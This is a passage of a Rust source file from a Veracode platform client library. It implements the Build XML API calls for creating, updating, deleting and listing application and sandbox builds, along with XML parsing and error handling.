veracode_platform/
build.rs

1//! Build API functionality for Veracode platform.
2//!
3//! This module provides functionality to interact with the Veracode Build XML APIs,
4//! allowing you to create, update, delete, and query builds for applications and sandboxes.
5//! These operations use the XML API endpoints (analysiscenter.veracode.com).
6
7use chrono::{DateTime, NaiveDate, Utc};
8use quick_xml::Reader;
9use quick_xml::events::Event;
10use serde::{Deserialize, Serialize};
11use std::collections::HashMap;
12
13use crate::{VeracodeClient, VeracodeError};
14
15/// Valid lifecycle stage values for Veracode builds
16pub const LIFECYCLE_STAGES: &[&str] = &[
17    "In Development (pre-Alpha)",
18    "Internal or Alpha Testing",
19    "External or Beta Testing",
20    "Deployed",
21    "Maintenance",
22    "Cannot Disclose",
23    "Not Specified",
24];
25
26/// Validate if a lifecycle stage value is valid
27#[must_use]
28pub fn is_valid_lifecycle_stage(stage: &str) -> bool {
29    LIFECYCLE_STAGES.contains(&stage)
30}
31
32/// Get the default lifecycle stage for development builds
33#[must_use]
34pub fn default_lifecycle_stage() -> &'static str {
35    "In Development (pre-Alpha)"
36}
37
38/// Build status enumeration based on Veracode Java implementation
39/// These represent the possible build/analysis states that determine deletion safety
40#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
41pub enum BuildStatus {
42    Incomplete,
43    NotSubmitted,
44    SubmittedToEngine,
45    ScanInProcess,
46    PreScanSubmitted,
47    PreScanSuccess,
48    PreScanFailed,
49    PreScanCancelled,
50    PrescanFailed,
51    PrescanCancelled,
52    ScanCancelled,
53    ResultsReady,
54    Failed,
55    Cancelled,
56    Unknown(String), // For any status not explicitly handled
57}
58
59impl BuildStatus {
60    /// Parse a build status string from the Veracode API
61    #[must_use]
62    pub fn from_string(status: &str) -> Self {
63        match status {
64            "Incomplete" => BuildStatus::Incomplete,
65            "Not Submitted" => BuildStatus::NotSubmitted,
66            "Submitted to Engine" => BuildStatus::SubmittedToEngine,
67            "Scan in Process" => BuildStatus::ScanInProcess,
68            "Pre-Scan Submitted" => BuildStatus::PreScanSubmitted,
69            "Pre-Scan Success" => BuildStatus::PreScanSuccess,
70            "Pre-Scan Failed" => BuildStatus::PreScanFailed,
71            "Pre-Scan Cancelled" => BuildStatus::PreScanCancelled,
72            "Prescan Failed" => BuildStatus::PrescanFailed,
73            "Prescan Cancelled" => BuildStatus::PrescanCancelled,
74            "Scan Cancelled" => BuildStatus::ScanCancelled,
75            "Results Ready" => BuildStatus::ResultsReady,
76            "Failed" => BuildStatus::Failed,
77            "Cancelled" => BuildStatus::Cancelled,
78            _ => BuildStatus::Unknown(status.to_string()),
79        }
80    }
81
82    /// Convert build status to string representation
83    #[must_use]
84    pub fn to_str(&self) -> &str {
85        match self {
86            BuildStatus::Incomplete => "Incomplete",
87            BuildStatus::NotSubmitted => "Not Submitted",
88            BuildStatus::SubmittedToEngine => "Submitted to Engine",
89            BuildStatus::ScanInProcess => "Scan in Process",
90            BuildStatus::PreScanSubmitted => "Pre-Scan Submitted",
91            BuildStatus::PreScanSuccess => "Pre-Scan Success",
92            BuildStatus::PreScanFailed => "Pre-Scan Failed",
93            BuildStatus::PreScanCancelled => "Pre-Scan Cancelled",
94            BuildStatus::PrescanFailed => "Prescan Failed",
95            BuildStatus::PrescanCancelled => "Prescan Cancelled",
96            BuildStatus::ScanCancelled => "Scan Cancelled",
97            BuildStatus::ResultsReady => "Results Ready",
98            BuildStatus::Failed => "Failed",
99            BuildStatus::Cancelled => "Cancelled",
100            BuildStatus::Unknown(s) => s,
101        }
102    }
103
104    /// Determine if a build is safe to delete based on its status and deletion policy
105    ///
106    /// Deletion Policy Levels:
107    /// - 0: Never delete builds
108    /// - 1: Delete only "safe" builds (incomplete, failed, cancelled states)
109    /// - 2: Delete any build except "Results Ready"
110    #[must_use]
111    pub fn is_safe_to_delete(&self, deletion_policy: u8) -> bool {
112        match deletion_policy {
113            1 => {
114                // Delete only safe builds (incomplete, failed, cancelled states)
115                matches!(
116                    self,
117                    BuildStatus::Incomplete
118                        | BuildStatus::NotSubmitted
119                        | BuildStatus::PreScanFailed
120                        | BuildStatus::PreScanCancelled
121                        | BuildStatus::PrescanFailed
122                        | BuildStatus::PrescanCancelled
123                        | BuildStatus::ScanCancelled
124                        | BuildStatus::Failed
125                        | BuildStatus::Cancelled
126                )
127            }
128            2 => {
129                // Delete any build except Results Ready
130                !matches!(self, BuildStatus::ResultsReady)
131            }
132            _ => false, // Never delete (0) or invalid policy, default to never delete
133        }
134    }
135}
136
137impl std::fmt::Display for BuildStatus {
138    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
139        write!(f, "{}", self.to_str())
140    }
141}
142
143/// Represents a Veracode build
144#[derive(Debug, Clone, Serialize, Deserialize)]
145pub struct Build {
146    /// Build ID
147    pub build_id: String,
148    /// Application ID
149    pub app_id: String,
150    /// Build version
151    pub version: Option<String>,
152    /// Application name
153    pub app_name: Option<String>,
154    /// Sandbox ID (if sandbox build)
155    pub sandbox_id: Option<String>,
156    /// Sandbox name (if sandbox build)
157    pub sandbox_name: Option<String>,
158    /// Lifecycle stage
159    pub lifecycle_stage: Option<String>,
160    /// Launch date
161    pub launch_date: Option<NaiveDate>,
162    /// Submitter
163    pub submitter: Option<String>,
164    /// Platform
165    pub platform: Option<String>,
166    /// Analysis unit
167    pub analysis_unit: Option<String>,
168    /// Policy name
169    pub policy_name: Option<String>,
170    /// Policy version
171    pub policy_version: Option<String>,
172    /// Policy compliance status
173    pub policy_compliance_status: Option<String>,
174    /// Rules status
175    pub rules_status: Option<String>,
176    /// Grace period expired
177    pub grace_period_expired: Option<bool>,
178    /// Scan overdue
179    pub scan_overdue: Option<bool>,
180    /// Policy updated date
181    pub policy_updated_date: Option<DateTime<Utc>>,
182    /// Legacy scan engine
183    pub legacy_scan_engine: Option<bool>,
184    /// Additional attributes
185    pub attributes: HashMap<String, String>,
186}
187
188/// List of builds
189#[derive(Debug, Clone, Serialize, Deserialize)]
190pub struct BuildList {
191    /// Account ID
192    pub account_id: Option<String>,
193    /// Application ID
194    pub app_id: String,
195    /// Application name
196    pub app_name: Option<String>,
197    /// List of builds
198    pub builds: Vec<Build>,
199}
200
201/// Request for creating a build
202#[derive(Debug, Clone)]
203pub struct CreateBuildRequest {
204    /// Application ID
205    pub app_id: String,
206    /// Build version (optional, system will generate if not provided)
207    pub version: Option<String>,
208    /// Lifecycle stage
209    pub lifecycle_stage: Option<String>,
210    /// Launch date in MM/DD/YYYY format
211    pub launch_date: Option<String>,
212    /// Sandbox ID (optional, for sandbox builds)
213    pub sandbox_id: Option<String>,
214}
215
216/// Request for updating a build
217#[derive(Debug, Clone)]
218pub struct UpdateBuildRequest {
219    /// Application ID
220    pub app_id: String,
221    /// Build ID (optional, defaults to most recent)
222    pub build_id: Option<String>,
223    /// New build version
224    pub version: Option<String>,
225    /// New lifecycle stage
226    pub lifecycle_stage: Option<String>,
227    /// New launch date in MM/DD/YYYY format
228    pub launch_date: Option<String>,
229    /// Sandbox ID (optional, for sandbox builds)
230    pub sandbox_id: Option<String>,
231}
232
233/// Request for deleting a build
234#[derive(Debug, Clone)]
235pub struct DeleteBuildRequest {
236    /// Application ID
237    pub app_id: String,
238    /// Sandbox ID (optional, for sandbox builds)
239    pub sandbox_id: Option<String>,
240}
241
242/// Request for getting build information
243#[derive(Debug, Clone)]
244pub struct GetBuildInfoRequest {
245    /// Application ID
246    pub app_id: String,
247    /// Build ID (optional, defaults to most recent)
248    pub build_id: Option<String>,
249    /// Sandbox ID (optional, for sandbox builds)
250    pub sandbox_id: Option<String>,
251}
252
253/// Request for getting build list
254#[derive(Debug, Clone)]
255pub struct GetBuildListRequest {
256    /// Application ID
257    pub app_id: String,
258    /// Sandbox ID (optional, for sandbox builds only)
259    pub sandbox_id: Option<String>,
260}
261
262/// Result of build deletion
263#[derive(Debug, Clone, Serialize, Deserialize)]
264pub struct DeleteBuildResult {
265    /// Result status (typically "success")
266    pub result: String,
267}
268
269/// Build specific error types
270#[derive(Debug)]
271#[must_use = "Need to handle all error enum types."]
272pub enum BuildError {
273    /// Veracode API error
274    Api(VeracodeError),
275    /// Build not found
276    BuildNotFound,
277    /// Application not found
278    ApplicationNotFound,
279    /// Sandbox not found
280    SandboxNotFound,
281    /// Invalid parameter
282    InvalidParameter(String),
283    /// Build creation failed
284    CreationFailed(String),
285    /// Build update failed
286    UpdateFailed(String),
287    /// Build deletion failed
288    DeletionFailed(String),
289    /// XML parsing error
290    XmlParsingError(String),
291    /// Unauthorized access
292    Unauthorized,
293    /// Permission denied
294    PermissionDenied,
295    /// Build in progress (cannot modify)
296    BuildInProgress,
297}
298
299impl std::fmt::Display for BuildError {
300    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
301        match self {
302            BuildError::Api(err) => write!(f, "API error: {err}"),
303            BuildError::BuildNotFound => write!(f, "Build not found"),
304            BuildError::ApplicationNotFound => write!(f, "Application not found"),
305            BuildError::SandboxNotFound => write!(f, "Sandbox not found"),
306            BuildError::InvalidParameter(msg) => write!(f, "Invalid parameter: {msg}"),
307            BuildError::CreationFailed(msg) => write!(f, "Build creation failed: {msg}"),
308            BuildError::UpdateFailed(msg) => write!(f, "Build update failed: {msg}"),
309            BuildError::DeletionFailed(msg) => write!(f, "Build deletion failed: {msg}"),
310            BuildError::XmlParsingError(msg) => write!(f, "XML parsing error: {msg}"),
311            BuildError::Unauthorized => write!(f, "Unauthorized access"),
312            BuildError::PermissionDenied => write!(f, "Permission denied"),
313            BuildError::BuildInProgress => write!(f, "Build in progress, cannot modify"),
314        }
315    }
316}
317
318impl std::error::Error for BuildError {}
319
320impl From<VeracodeError> for BuildError {
321    fn from(err: VeracodeError) -> Self {
322        BuildError::Api(err)
323    }
324}
325
326impl From<std::io::Error> for BuildError {
327    fn from(err: std::io::Error) -> Self {
328        BuildError::Api(VeracodeError::InvalidResponse(err.to_string()))
329    }
330}
331
332impl From<reqwest::Error> for BuildError {
333    fn from(err: reqwest::Error) -> Self {
334        BuildError::Api(VeracodeError::Http(err))
335    }
336}
337
338/// Build API operations for Veracode platform
339pub struct BuildApi {
340    client: VeracodeClient,
341}
342
343impl BuildApi {
344    /// Create a new `BuildApi` instance
345    #[must_use]
346    pub fn new(client: VeracodeClient) -> Self {
347        Self { client }
348    }
349
350    /// Create a new build
351    ///
352    /// # Arguments
353    ///
354    /// * `request` - The create build request
355    ///
356    /// # Returns
357    ///
358    /// A `Result` containing the created build information or an error.
359    ///
360    /// # Errors
361    ///
362    /// Returns an error if the API request fails, the application is not found,
363    /// authentication fails, or the build creation is rejected by the Veracode platform.
364    pub async fn create_build(&self, request: &CreateBuildRequest) -> Result<Build, BuildError> {
365        let endpoint = "/api/5.0/createbuild.do";
366
367        // Build query parameters
368        let mut query_params = Vec::new();
369        query_params.push(("app_id", request.app_id.as_str()));
370
371        if let Some(version) = &request.version {
372            query_params.push(("version", version.as_str()));
373        }
374
375        if let Some(lifecycle_stage) = &request.lifecycle_stage {
376            query_params.push(("lifecycle_stage", lifecycle_stage.as_str()));
377        }
378
379        if let Some(launch_date) = &request.launch_date {
380            query_params.push(("launch_date", launch_date.as_str()));
381        }
382
383        if let Some(sandbox_id) = &request.sandbox_id {
384            query_params.push(("sandbox_id", sandbox_id.as_str()));
385        }
386
387        let response = self
388            .client
389            .post_with_query_params(endpoint, &query_params)
390            .await?;
391
392        let status = response.status().as_u16();
393        match status {
394            200 => {
395                let response_text = response.text().await?;
396                self.parse_build_info(&response_text)
397            }
398            400 => {
399                let error_text = response.text().await.unwrap_or_default();
400                Err(BuildError::InvalidParameter(error_text))
401            }
402            401 => Err(BuildError::Unauthorized),
403            403 => Err(BuildError::PermissionDenied),
404            404 => Err(BuildError::ApplicationNotFound),
405            _ => {
406                let error_text = response.text().await.unwrap_or_default();
407                Err(BuildError::CreationFailed(format!(
408                    "HTTP {status}: {error_text}"
409                )))
410            }
411        }
412    }
413
414    /// Update an existing build
415    ///
416    /// # Arguments
417    ///
418    /// * `request` - The update build request
419    ///
420    /// # Returns
421    ///
422    /// A `Result` containing the updated build information or an error.
423    ///
424    /// # Errors
425    ///
426    /// Returns an error if the API request fails, authentication fails,
427    /// or the operation is rejected by the Veracode platform.
428    pub async fn update_build(&self, request: &UpdateBuildRequest) -> Result<Build, BuildError> {
429        let endpoint = "/api/5.0/updatebuild.do";
430
431        // Build query parameters
432        let mut query_params = Vec::new();
433        query_params.push(("app_id", request.app_id.as_str()));
434
435        if let Some(build_id) = &request.build_id {
436            query_params.push(("build_id", build_id.as_str()));
437        }
438
439        if let Some(version) = &request.version {
440            query_params.push(("version", version.as_str()));
441        }
442
443        if let Some(lifecycle_stage) = &request.lifecycle_stage {
444            query_params.push(("lifecycle_stage", lifecycle_stage.as_str()));
445        }
446
447        if let Some(launch_date) = &request.launch_date {
448            query_params.push(("launch_date", launch_date.as_str()));
449        }
450
451        if let Some(sandbox_id) = &request.sandbox_id {
452            query_params.push(("sandbox_id", sandbox_id.as_str()));
453        }
454
455        let response = self
456            .client
457            .post_with_query_params(endpoint, &query_params)
458            .await?;
459
460        let status = response.status().as_u16();
461        match status {
462            200 => {
463                let response_text = response.text().await?;
464                self.parse_build_info(&response_text)
465            }
466            400 => {
467                let error_text = response.text().await.unwrap_or_default();
468                Err(BuildError::InvalidParameter(error_text))
469            }
470            401 => Err(BuildError::Unauthorized),
471            403 => Err(BuildError::PermissionDenied),
472            404 => {
473                if request.sandbox_id.is_some() {
474                    Err(BuildError::SandboxNotFound)
475                } else {
476                    Err(BuildError::BuildNotFound)
477                }
478            }
479            _ => {
480                let error_text = response.text().await.unwrap_or_default();
481                Err(BuildError::UpdateFailed(format!(
482                    "HTTP {status}: {error_text}"
483                )))
484            }
485        }
486    }
487
488    /// Delete a build
489    ///
490    /// # Arguments
491    ///
492    /// * `request` - The delete build request
493    ///
494    /// # Returns
495    ///
496    /// A `Result` containing the deletion result or an error.
497    ///
498    /// # Errors
499    ///
500    /// Returns an error if the API request fails, authentication fails,
501    /// or the operation is rejected by the Veracode platform.
502    pub async fn delete_build(
503        &self,
504        request: &DeleteBuildRequest,
505    ) -> Result<DeleteBuildResult, BuildError> {
506        let endpoint = "/api/5.0/deletebuild.do";
507
508        // Build query parameters
509        let mut query_params = Vec::new();
510        query_params.push(("app_id", request.app_id.as_str()));
511
512        if let Some(sandbox_id) = &request.sandbox_id {
513            query_params.push(("sandbox_id", sandbox_id.as_str()));
514        }
515
516        let response = self
517            .client
518            .post_with_query_params(endpoint, &query_params)
519            .await?;
520
521        let status = response.status().as_u16();
522        match status {
523            200 => {
524                let response_text = response.text().await?;
525                self.parse_delete_result(&response_text)
526            }
527            400 => {
528                let error_text = response.text().await.unwrap_or_default();
529                Err(BuildError::InvalidParameter(error_text))
530            }
531            401 => Err(BuildError::Unauthorized),
532            403 => Err(BuildError::PermissionDenied),
533            404 => {
534                if request.sandbox_id.is_some() {
535                    Err(BuildError::SandboxNotFound)
536                } else {
537                    Err(BuildError::BuildNotFound)
538                }
539            }
540            _ => {
541                let error_text = response.text().await.unwrap_or_default();
542                Err(BuildError::DeletionFailed(format!(
543                    "HTTP {status}: {error_text}"
544                )))
545            }
546        }
547    }
548
549    /// Get build information
550    ///
551    /// # Arguments
552    ///
553    /// * `request` - The get build info request
554    ///
555    /// # Returns
556    ///
557    /// A `Result` containing the build information or an error.
558    ///
559    /// # Errors
560    ///
561    /// Returns an error if the API request fails, authentication fails,
562    /// or the operation is rejected by the Veracode platform.
563    pub async fn get_build_info(&self, request: &GetBuildInfoRequest) -> Result<Build, BuildError> {
564        let endpoint = "/api/5.0/getbuildinfo.do";
565
566        // Build query parameters
567        let mut query_params = Vec::new();
568        query_params.push(("app_id", request.app_id.as_str()));
569
570        if let Some(build_id) = &request.build_id {
571            query_params.push(("build_id", build_id.as_str()));
572        }
573
574        if let Some(sandbox_id) = &request.sandbox_id {
575            query_params.push(("sandbox_id", sandbox_id.as_str()));
576        }
577
578        let response = self
579            .client
580            .get_with_query_params(endpoint, &query_params)
581            .await?;
582
583        let status = response.status().as_u16();
584        match status {
585            200 => {
586                let response_text = response.text().await?;
587                self.parse_build_info(&response_text)
588            }
589            400 => {
590                let error_text = response.text().await.unwrap_or_default();
591                Err(BuildError::InvalidParameter(error_text))
592            }
593            401 => Err(BuildError::Unauthorized),
594            403 => Err(BuildError::PermissionDenied),
595            404 => {
596                if request.sandbox_id.is_some() {
597                    Err(BuildError::SandboxNotFound)
598                } else {
599                    Err(BuildError::BuildNotFound)
600                }
601            }
602            _ => {
603                let error_text = response.text().await.unwrap_or_default();
604                Err(BuildError::Api(VeracodeError::InvalidResponse(format!(
605                    "HTTP {status}: {error_text}"
606                ))))
607            }
608        }
609    }
610
611    /// Get list of builds
612    ///
613    /// # Arguments
614    ///
615    /// * `request` - The get build list request
616    ///
617    /// # Returns
618    ///
619    /// A `Result` containing the build list or an error.
620    ///
621    /// # Errors
622    ///
623    /// Returns an error if the API request fails, authentication fails,
624    /// or the operation is rejected by the Veracode platform.
625    pub async fn get_build_list(
626        &self,
627        request: &GetBuildListRequest,
628    ) -> Result<BuildList, BuildError> {
629        let endpoint = "/api/5.0/getbuildlist.do";
630
631        // Build query parameters
632        let mut query_params = Vec::new();
633        query_params.push(("app_id", request.app_id.as_str()));
634
635        if let Some(sandbox_id) = &request.sandbox_id {
636            query_params.push(("sandbox_id", sandbox_id.as_str()));
637        }
638
639        let response = self
640            .client
641            .get_with_query_params(endpoint, &query_params)
642            .await?;
643
644        let status = response.status().as_u16();
645        match status {
646            200 => {
647                let response_text = response.text().await?;
648                self.parse_build_list(&response_text)
649            }
650            400 => {
651                let error_text = response.text().await.unwrap_or_default();
652                Err(BuildError::InvalidParameter(error_text))
653            }
654            401 => Err(BuildError::Unauthorized),
655            403 => Err(BuildError::PermissionDenied),
656            404 => {
657                if request.sandbox_id.is_some() {
658                    Err(BuildError::SandboxNotFound)
659                } else {
660                    Err(BuildError::ApplicationNotFound)
661                }
662            }
663            _ => {
664                let error_text = response.text().await.unwrap_or_default();
665                Err(BuildError::Api(VeracodeError::InvalidResponse(format!(
666                    "HTTP {status}: {error_text}"
667                ))))
668            }
669        }
670    }
671
672    /// Parse build info XML response
673    fn parse_build_info(&self, xml: &str) -> Result<Build, BuildError> {
674        // Check if response contains an error element first
675        if xml.contains("<error>") {
676            let mut reader = Reader::from_str(xml);
677            reader.config_mut().trim_text(true);
678            let mut buf = Vec::new();
679
680            loop {
681                match reader.read_event_into(&mut buf) {
682                    Ok(Event::Start(ref e)) if e.name().as_ref() == b"error" => {
683                        if let Ok(Event::Text(text)) = reader.read_event_into(&mut buf) {
684                            let error_msg = String::from_utf8_lossy(&text);
685                            if error_msg.contains("Could not find a build") {
686                                return Err(BuildError::BuildNotFound);
687                            }
688                            return Err(BuildError::Api(VeracodeError::InvalidResponse(
689                                error_msg.to_string(),
690                            )));
691                        }
692                    }
693                    Ok(Event::Eof) => break,
694                    Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
695                    _ => {}
696                }
697                buf.clear();
698            }
699        }
700
701        let mut reader = Reader::from_str(xml);
702        reader.config_mut().trim_text(true);
703
704        let mut buf = Vec::new();
705        let mut build = Build {
706            build_id: String::new(),
707            app_id: String::new(),
708            version: None,
709            app_name: None,
710            sandbox_id: None,
711            sandbox_name: None,
712            lifecycle_stage: None,
713            launch_date: None,
714            submitter: None,
715            platform: None,
716            analysis_unit: None,
717            policy_name: None,
718            policy_version: None,
719            policy_compliance_status: None,
720            rules_status: None,
721            grace_period_expired: None,
722            scan_overdue: None,
723            policy_updated_date: None,
724            legacy_scan_engine: None,
725            attributes: HashMap::new(),
726        };
727
728        let mut inside_build = false;
729
730        loop {
731            match reader.read_event_into(&mut buf) {
732                Ok(Event::Start(ref e)) => {
733                    match e.name().as_ref() {
734                        b"build" => {
735                            inside_build = true;
736                            for attr in e.attributes().flatten() {
737                                let key = String::from_utf8_lossy(attr.key.as_ref());
738                                let value = String::from_utf8_lossy(&attr.value);
739
740                                match key.as_ref() {
741                                    "build_id" => build.build_id = value.into_owned(),
742                                    "app_id" => build.app_id = value.into_owned(),
743                                    "version" => build.version = Some(value.into_owned()),
744                                    "app_name" => build.app_name = Some(value.into_owned()),
745                                    "sandbox_id" => build.sandbox_id = Some(value.into_owned()),
746                                    "sandbox_name" => build.sandbox_name = Some(value.into_owned()),
747                                    "lifecycle_stage" => {
748                                        build.lifecycle_stage = Some(value.into_owned())
749                                    }
750                                    "submitter" => build.submitter = Some(value.into_owned()),
751                                    "platform" => build.platform = Some(value.into_owned()),
752                                    "analysis_unit" => {
753                                        build.analysis_unit = Some(value.into_owned())
754                                    }
755                                    "policy_name" => build.policy_name = Some(value.into_owned()),
756                                    "policy_version" => {
757                                        build.policy_version = Some(value.into_owned())
758                                    }
759                                    "policy_compliance_status" => {
760                                        build.policy_compliance_status = Some(value.into_owned())
761                                    }
762                                    "rules_status" => build.rules_status = Some(value.into_owned()),
763                                    "grace_period_expired" => {
764                                        build.grace_period_expired = value.parse::<bool>().ok();
765                                    }
766                                    "scan_overdue" => {
767                                        build.scan_overdue = value.parse::<bool>().ok();
768                                    }
769                                    "legacy_scan_engine" => {
770                                        build.legacy_scan_engine = value.parse::<bool>().ok();
771                                    }
772                                    "launch_date" => {
773                                        if let Ok(date) =
774                                            NaiveDate::parse_from_str(&value, "%m/%d/%Y")
775                                        {
776                                            build.launch_date = Some(date);
777                                        }
778                                    }
779                                    "policy_updated_date" => {
780                                        if let Ok(datetime) =
781                                            chrono::DateTime::parse_from_rfc3339(&value)
782                                        {
783                                            build.policy_updated_date =
784                                                Some(datetime.with_timezone(&Utc));
785                                        }
786                                    }
787                                    _ => {
788                                        build
789                                            .attributes
790                                            .insert(key.into_owned(), value.into_owned());
791                                    }
792                                }
793                            }
794                        }
795                        b"analysis_unit" if inside_build => {
796                            // Parse analysis_unit element nested inside build (primary source for build status)
797                            for attr in e.attributes().flatten() {
798                                let key = String::from_utf8_lossy(attr.key.as_ref());
799                                let value = String::from_utf8_lossy(&attr.value);
800
801                                // Store all analysis_unit attributes, especially status
802                                match key.as_ref() {
803                                    "status" => {
804                                        // Store the analysis_unit status as the primary status
805                                        build
806                                            .attributes
807                                            .insert("status".to_string(), value.into_owned());
808                                    }
809                                    _ => {
810                                        // Store other analysis_unit attributes with prefix
811                                        build
812                                            .attributes
813                                            .insert(format!("analysis_{key}"), value.into_owned());
814                                    }
815                                }
816                            }
817                        }
818                        _ => {}
819                    }
820                }
821                Ok(Event::Empty(ref e)) => {
822                    // Handle self-closing elements like <analysis_unit ... />
823                    if e.name().as_ref() == b"analysis_unit" && inside_build {
824                        for attr in e.attributes().flatten() {
825                            let key = String::from_utf8_lossy(attr.key.as_ref());
826                            let value = String::from_utf8_lossy(&attr.value);
827
828                            match key.as_ref() {
829                                "status" => {
830                                    build
831                                        .attributes
832                                        .insert("status".to_string(), value.into_owned());
833                                }
834                                _ => {
835                                    build
836                                        .attributes
837                                        .insert(format!("analysis_{key}"), value.into_owned());
838                                }
839                            }
840                        }
841                    }
842                }
843                Ok(Event::End(ref e)) => {
844                    if e.name().as_ref() == b"build" {
845                        inside_build = false;
846                    }
847                }
848                Ok(Event::Eof) => break,
849                Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
850                _ => {}
851            }
852            buf.clear();
853        }
854
855        if build.build_id.is_empty() {
856            return Err(BuildError::XmlParsingError(
857                "No build information found in response".to_string(),
858            ));
859        }
860
861        Ok(build)
862    }
863
864    /// Parse build attributes from XML element (handles both opening and self-closing tags)
865    fn parse_build_from_attributes<'a>(
866        &self,
867        attributes: impl Iterator<
868            Item = Result<
869                quick_xml::events::attributes::Attribute<'a>,
870                quick_xml::events::attributes::AttrError,
871            >,
872        >,
873        app_id: &str,
874        app_name: &Option<String>,
875    ) -> Build {
876        let mut build = Build {
877            build_id: String::new(),
878            app_id: app_id.to_string(),
879            version: None,
880            app_name: app_name.clone(),
881            sandbox_id: None,
882            sandbox_name: None,
883            lifecycle_stage: None,
884            launch_date: None,
885            submitter: None,
886            platform: None,
887            analysis_unit: None,
888            policy_name: None,
889            policy_version: None,
890            policy_compliance_status: None,
891            rules_status: None,
892            grace_period_expired: None,
893            scan_overdue: None,
894            policy_updated_date: None,
895            legacy_scan_engine: None,
896            attributes: HashMap::new(),
897        };
898
899        for attr in attributes.flatten() {
900            let key = String::from_utf8_lossy(attr.key.as_ref());
901            let value = String::from_utf8_lossy(&attr.value);
902
903            match key.as_ref() {
904                "build_id" => build.build_id = value.into_owned(),
905                "version" => build.version = Some(value.into_owned()),
906                "sandbox_id" => build.sandbox_id = Some(value.into_owned()),
907                "sandbox_name" => build.sandbox_name = Some(value.into_owned()),
908                "lifecycle_stage" => build.lifecycle_stage = Some(value.into_owned()),
909                "submitter" => build.submitter = Some(value.into_owned()),
910                "platform" => build.platform = Some(value.into_owned()),
911                "analysis_unit" => build.analysis_unit = Some(value.into_owned()),
912                "policy_name" => build.policy_name = Some(value.into_owned()),
913                "policy_version" => build.policy_version = Some(value.into_owned()),
914                "policy_compliance_status" => {
915                    build.policy_compliance_status = Some(value.into_owned())
916                }
917                "rules_status" => build.rules_status = Some(value.into_owned()),
918                "grace_period_expired" => {
919                    build.grace_period_expired = value.parse::<bool>().ok();
920                }
921                "scan_overdue" => {
922                    build.scan_overdue = value.parse::<bool>().ok();
923                }
924                "legacy_scan_engine" => {
925                    build.legacy_scan_engine = value.parse::<bool>().ok();
926                }
927                "launch_date" => {
928                    if let Ok(date) = NaiveDate::parse_from_str(&value, "%m/%d/%Y") {
929                        build.launch_date = Some(date);
930                    }
931                }
932                "policy_updated_date" => {
933                    if let Ok(datetime) = chrono::DateTime::parse_from_rfc3339(&value) {
934                        build.policy_updated_date = Some(datetime.with_timezone(&Utc));
935                    }
936                }
937                _ => {
938                    build
939                        .attributes
940                        .insert(key.into_owned(), value.into_owned());
941                }
942            }
943        }
944
945        build
946    }
947
948    /// Parse build list XML response
949    fn parse_build_list(&self, xml: &str) -> Result<BuildList, BuildError> {
950        let mut reader = Reader::from_str(xml);
951        reader.config_mut().trim_text(true);
952
953        let mut buf = Vec::new();
954        let mut build_list = BuildList {
955            account_id: None,
956            app_id: String::new(),
957            app_name: None,
958            builds: Vec::new(),
959        };
960
961        loop {
962            match reader.read_event_into(&mut buf) {
963                Ok(Event::Start(ref e)) => match e.name().as_ref() {
964                    b"buildlist" => {
965                        for attr in e.attributes().flatten() {
966                            let key = String::from_utf8_lossy(attr.key.as_ref());
967                            let value = String::from_utf8_lossy(&attr.value);
968
969                            match key.as_ref() {
970                                "account_id" => build_list.account_id = Some(value.into_owned()),
971                                "app_id" => build_list.app_id = value.into_owned(),
972                                "app_name" => build_list.app_name = Some(value.into_owned()),
973                                _ => {}
974                            }
975                        }
976                    }
977                    b"build" => {
978                        let build = self.parse_build_from_attributes(
979                            e.attributes(),
980                            &build_list.app_id,
981                            &build_list.app_name,
982                        );
983
984                        if !build.build_id.is_empty() {
985                            build_list.builds.push(build);
986                        }
987                    }
988                    _ => {}
989                },
990                Ok(Event::Empty(ref e)) => {
991                    // Handle self-closing build tags like <build ... />
992                    if e.name().as_ref() == b"build" {
993                        let build = self.parse_build_from_attributes(
994                            e.attributes(),
995                            &build_list.app_id,
996                            &build_list.app_name,
997                        );
998
999                        if !build.build_id.is_empty() {
1000                            build_list.builds.push(build);
1001                        }
1002                    }
1003                }
1004                Ok(Event::Eof) => break,
1005                Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
1006                _ => {}
1007            }
1008            buf.clear();
1009        }
1010
1011        Ok(build_list)
1012    }
1013
1014    /// Parse delete build result XML response
1015    fn parse_delete_result(&self, xml: &str) -> Result<DeleteBuildResult, BuildError> {
1016        let mut reader = Reader::from_str(xml);
1017        reader.config_mut().trim_text(true);
1018
1019        let mut buf = Vec::new();
1020        let mut result = String::new();
1021
1022        loop {
1023            match reader.read_event_into(&mut buf) {
1024                Ok(Event::Start(ref e)) => {
1025                    if e.name().as_ref() == b"result" {
1026                        // Read the text content of the result element
1027                        if let Ok(Event::Text(e)) = reader.read_event_into(&mut buf) {
1028                            result = String::from_utf8_lossy(&e).into_owned();
1029                        }
1030                    }
1031                }
1032                Ok(Event::Eof) => break,
1033                Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
1034                _ => {}
1035            }
1036            buf.clear();
1037        }
1038
1039        if result.is_empty() {
1040            return Err(BuildError::XmlParsingError(
1041                "No result found in delete response".to_string(),
1042            ));
1043        }
1044
1045        Ok(DeleteBuildResult { result })
1046    }
1047}
1048
1049// Convenience methods implementation
1050impl BuildApi {
1051    /// Create a build with minimal parameters
1052    ///
1053    /// # Arguments
1054    ///
1055    /// * `app_id` - Application ID
1056    /// * `version` - Optional build version
1057    ///
1058    /// # Returns
1059    ///
1060    /// A `Result` containing the created build information or an error.
1061    ///
1062    /// # Errors
1063    ///
1064    /// Returns an error if the API request fails, authentication fails,
1065    /// or the operation is rejected by the Veracode platform.
1066    pub async fn create_simple_build(
1067        &self,
1068        app_id: &str,
1069        version: Option<&str>,
1070    ) -> Result<Build, BuildError> {
1071        let request = CreateBuildRequest {
1072            app_id: app_id.to_string(),
1073            version: version.map(str::to_string),
1074            lifecycle_stage: None,
1075            launch_date: None,
1076            sandbox_id: None,
1077        };
1078
1079        self.create_build(&request).await
1080    }
1081
1082    /// Create a sandbox build
1083    ///
1084    /// # Arguments
1085    ///
1086    /// * `app_id` - Application ID
1087    /// * `sandbox_id` - Sandbox ID
1088    /// * `version` - Optional build version
1089    ///
1090    /// # Returns
1091    ///
1092    /// A `Result` containing the created build information or an error.
1093    ///
1094    /// # Errors
1095    ///
1096    /// Returns an error if the API request fails, authentication fails,
